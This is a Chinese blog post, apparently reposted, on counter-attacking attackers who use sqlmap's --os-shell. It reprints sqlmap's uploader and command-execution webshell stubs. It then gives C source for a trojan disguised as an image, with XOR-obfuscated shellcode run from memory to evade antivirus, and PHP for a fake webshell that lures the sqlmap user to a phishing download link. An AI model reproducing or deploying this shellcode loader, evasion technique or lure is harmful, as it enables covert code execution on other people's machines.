sqlmap --os-shell反制小思路
前言
之前有看到goby反制和松鼠A師傅蟻劍反制的文章,再想到之前寫過sqlmap的shell免殺,覺得思路其實差不多,就寫一篇sqlmap的反制吧。
sqlmap流量分析
(其實可以通過分析解密后sqlmap內置的backdoor后門文件(文章鏈接))
具體sqlmap的攻擊流程差不多是這樣:
1.?測試鏈接是否能夠訪問
2.?判斷操作系統版本
3.?傳遞一個數組,嘗試爆絕對路徑
4.?指定上傳路徑
5.?使用lines terminated by 寫入一個php文件,該php文件可以進行文件上傳
6.?嘗試找到上傳的文件的訪問路徑;直到找到正確的路徑
7.?通過上傳的臨時文件,嘗試上傳另外一個php文件, 該文件可以進行命令執行
8.?嘗試進行命令執行 echo command execution test
9.?直接輸入對應的命令
10.?退出 -–os-shell后刪除命令馬
然后我們反制思路其實大概分為兩個
-
一個是通過打開的頁面嵌入js來直接執行命令
-
另一個是通過打開釣魚頁面(比如flash釣魚那種)
這兩個相比而言其實各有優點,但我決定結合一下😯
通過打開的頁面來下載圖片馬,然后進行rce?
制作
圖片馬里面的程序用C寫的,用異或做了免殺(和其他師傅學習的)
這個是引用的頭文件
//{{NO_DEPENDENCIES}} // #define IDR_IMAGE1 101 #define IDI_ICON1 102// Next default values for new objects // #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS #define _APS_NEXT_RESOURCE_VALUE 103 #define _APS_NEXT_COMMAND_VALUE 40001 #define _APS_NEXT_CONTROL_VALUE 1001 #define _APS_NEXT_SYMED_VALUE 101 #endif #endif這個才是C腳本
#include<graphics.h> #include<conio.h> #include<iostream> #include "resource.h" using namespace std;void image() {IMAGE img;loadimage(&img, L"IMAGE", MAKEINTRESOURCE(IDR_IMAGE1));int w, h;w = img.getwidth();h = img.getheight();initgraph(w, h);putimage(0, 0, &img);getchar();closegraph(); }int main() {unsigned char shellc0de[] = "\x1c\x65\x9d\x1c\xd5\xbd\x89\xab\xab\xab\x1c\xd9\x51\xbb\xab\xab\xab\x1c\xef\x4c\xc8\xae\xed\x37\x61\xee\x24\x1c\x65\x0c\x73\x1c\x79\xac\xab\xab\xab\xb6\xa0\xb0\x80\x2d\x09\xc7\x89\x2e\x24\x4c\xc8\xef\xbc\x76\x31\xbc\x75\x1a\x80\x9f\x3f\x52\x29\x65\x76\x2c\x80\x25\xbf\x2f\x29\x65\x76\x6c\x80\x25\x9f\x67\x29\xe1\x93\x06\x82\xe3\xdc\xfe\x29\xdf\xe4\xe0\xf4\xcf\x91\x35\x4d\xce\x65\x8d\x01\xa3\xac\x36\xa0\x0c\xc9\x1e\x89\xff\xa5\xbc\x33\xce\xaf\x0e\xf4\xe6\xec\xe7\xea\x6e\xac\x4c\xc8\xae\xa5\xb2\xa1\x9a\x43\x04\xc9\x7e\xbd\xbc\x29\xf6\x60\xc7\x88\x8e\xa4\x36\xb1\x0d\x72\x04\x37\x67\xac\xbc\x55\x66\x6c\x4d\x1e\xe3\xdc\xfe\x29\xdf\xe4\xe0\x89\x6f\x24\x3a\x20\xef\xe5\x74\x28\xdb\x1c\x7b\x62\xa2\x00\x44\x8d\x97\x3c\x42\xb9\xb6\x60\xc7\x88\x8a\xa4\x36\xb1\x88\x65\xc7\xc4\xe6\xa9\xbc\x21\xf2\x6d\x4d\x18\xef\x66\x33\xe9\xa6\x25\x9c\x89\xf6\xac\x6f\x3f\xb7\x7e\x0d\x90\xef\xb4\x76\x3b\xa6\xa7\xa0\xe8\xef\xbf\xc8\x81\xb6\x65\x15\x92\xe6\x66\x25\x88\xb9\xdb\xb3\x37\xf3\xa5\x8d\x60\xee\x24\x4c\xc8\xae\xed\x37\x29\x63\xa9\x4d\xc9\xae\xed\x76\xdb\xdf\xaf\x23\x4f\x51\x38\x8c\x81\xf3\x0e\x46\x89\x14\x4b\xa2\xdc\x73\xdb\x99\x80\x2d\x29\x1f\x5d\xe8\x58\x46\x48\x55\x0d\x42\x64\x55\x63\x5f\xba\xc1\x87\x37\x38\xaf\xad\x96\x37\x7b\x8e\x56\x0d\x8d\x0a\x29\xb0\xcb\xed\x37\x61\xee\x24";unsigned char key[] = "\x09\xab";unsigned char aa[] = "\x32\xff";DWORD dw_size = sizeof shellc0de;int i;for (i = 0; i < dw_size; i++) {shellc0de[i] ^= key[1];shellc0de[i] = aa[1] - shellc0de[i];}LPVOID men = CoTaskMemAlloc(sizeof shellc0de);DWORD lpflOldProtect = 0;UINT name = RegisterClipboardFormatW((LPCWSTR)shellc0de);VirtualProtect(men, sizeof3 shellc0de, 0x40, &lpflOldProtect);GetClipboardFormatNameW(name, (LPWSTR)men, sizeof shellc0de);HANDLE handle = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)men, 0, 0, 0);WaitForSingleObject(handle, -1);image();return 0; }圖片自己選一張然后生成馬就行
馬弄得差不多了,接下來看看sqlmap的流量分析
分析&構造
眾所周知,sqlmap會使用lines terminated by 寫入一個php文件,可以進行文件上傳。
<?php // 判斷是否有一個upload的值傳過來 if (isset($_REQUEST["upload"])) {// 將uploadDir賦值給絕對路徑$dir = $_REQUEST["uploadDir"];// 判斷php版本是否小于4.1.0if (phpversion() < '4.1.0'){$file = $HTTP_POST_FILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"], $dir . "/" . $file) or die;}else{$file = $_FILES["file"]["name"];// 完成上傳@move_uploaded_file($_FILES["file"]["tmp_name"], $dir . "/" . $file) or die;}// 設置權限@chmod($dir . "/" . $file, 0755);echo "File uploaded"; } else {echo "<form action=" . $_SERVER["PHP_SELF"] . " method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=D:\\XXX\\XXXX> <input type=submit name=upload value=upload></form>"; }然后找絕對路徑,上傳下面這個真正的命令馬。
<?php $c=$_REQUEST["cmd"]; @set_time_limit(0); @ignore_user_abort(1); @ini_set("max_execution_time",0); $z=@ini_get("disable_functions"); if(!empty($z)) {$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z); } else {$z=array(); } $c=$c." 2>&1\n";// 將命令與 2>&1進行拼接 function f($n) {global $z;return is_callable($n)and!in_array($n,$z);//is_callable函數檢查f($n)在當前環境中是否可調用 } if(f("system")) {ob_start();system($c);$w=ob_get_clean();//返回輸出緩沖區的內容,清空(擦除)緩沖區并關閉輸出緩沖 } elseif(f("proc_open")) {$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])) {//feof函數檢查是否已到達文件末尾(EOF)$w.=fread($t[1],512);}@proc_close($y); } elseif(f("shell_exec")) {$w=shell_exec($c); } elseif(f("passthru")) {ob_start();passthru($c);$w=ob_get_clean(); } elseif(f("popen")) {//popen()函數通過創建一個管道,調用 fork 產生一個子進程,執行一個 shell 以 運行命令 來開啟一個進程。這個進程必須由 pclose () 函數關閉$x=popen($c,r);$w=NULL;if(is_resource($x)) {while(!feof($x)) {$w.=fread($x,512);//fread() 函數讀取文件(可安全用于二進制文件)。512:讀取的最大字節數。}}@pclose($x);// pclose()函數關閉標準 I/O 流,等待命令執行結束,然后返回 shell 的終止狀態。 } elseif(f("exec")) {$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10); } else {$w=0; } echo"<pre>$w</pre>"; ?>而最后的返回包,webshell獲取了網站目錄、數據庫類型等信息。
這個時候,我們可以寫一個偽造的sqlmap的”webshell“
echo "SORRY"; preg_match('/system|proc_open|shell|php|sys|shell_exec|user|passthru|create|upload|file|popen|static|get|sleep|exec|eval|str|set/i',$A,$B);$c="$B[0]";$key= str_replace(['"', '.', 'system', 'proc_open', 'shell', 'shell_exec', 'popen', 'exec', 'passthru', ' ', ";"], "", $c);//將命令執行函數替換掉$txt='D:/IIS5.0/WWW'."\t".'C:D:E:F:'."\t".'Windows NT LAPTOP-46FFII5G 6.2 build 9200 (Windows 8 Business Edition) i586'."\t";echo "$txt";//偽造連通然后搭配上掛馬圖片的下載鏈接
$iscmd="%(.*)127;%si"; if (preg_match($iscmd,$A)!=0) {preg_match('/system|proc_open|shell|php|sys|shell_exec|user|passthru|create|upload|file|popen|static|get|sleep|exec|eval|str|set/i',$A,$B);$c="$B[0]";$key= str_replace(['"', '.', 'system', 'proc_open', 'shell', 'shell_exec', 'popen', 'exec', 'passthru', ' ', ";"], "", $c);//將命令執行函數替換掉$payload='http://shell.com/index.html';echo 'WARN://'."\n".'數據上傳成功,但與flash進行交互,請訪問該網址進行shell鏈接。SQLMAP:'."$payload";一代目
php寫的不好,可能有點不符合sqlmap返回包的形式,以后我慢慢改吧
<?php $A=urldecode(file_get_contents("php://input")); $iscmd="%(.*)127;%si"; if (preg_match($iscmd,$A)!=0) {preg_match('/system|proc_open|shell|php|sys|shell_exec|user|passthru|create|upload|file|popen|static|get|sleep|exec|eval|str|set/i',$A,$B);$c="$B[0]";$key= str_replace(['"', '.', 'system', 'proc_open', 'shell', 'shell_exec', 'popen', 'exec', 'passthru', ' ', ";"], "", $c);//將命令執行函數替換掉$payload='http://exp.com/index.html';echo 'WARN://'."\n".'數據上傳成功,但與flash進行交互,請訪問該網址進行shell鏈接。SQLMAP:'."$payload";//隨便寫,誘惑別人點進去。反正我是不信sqlmap會用flash } else {echo "SORRY";preg_match('/system|proc_open|shell|php|sys|shell_exec|user|passthru|create|upload|file|popen|static|get|sleep|exec|eval|str|set/i',$A,$B);$c="$B[0]";$key= str_replace(['"', '.', 'system', 'proc_open', 'shell', 'shell_exec', 'popen', 'exec', 'passthru', ' ', ";"], "", $c);//將命令執行函數替換掉$txt='D:/IIS5.0/WWW'."\t".'C:D:E:F:'."\t".'Windows NT LAPTOP-46FFII5G 6.2 build 9200 (Windows 8 Business Edition) i586'."\t";echo "$txt";//偽造連通性 }反思
其實這個想法我感覺可能不太好,在連通性處寫的可能有問題,我的wireshark有點問題,一直抓不了本地的流量包,只能看我終端返回的內容進行偽造了=_=
如果可以的話,師傅們可以抓本地流量包,然后自己改寫偽造連通性的腳本。
總結
以上是生活随笔為你收集整理的sqlmap --os-shell反制小思路的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Java初学者推荐的几本书
- 下一篇: Purfer序列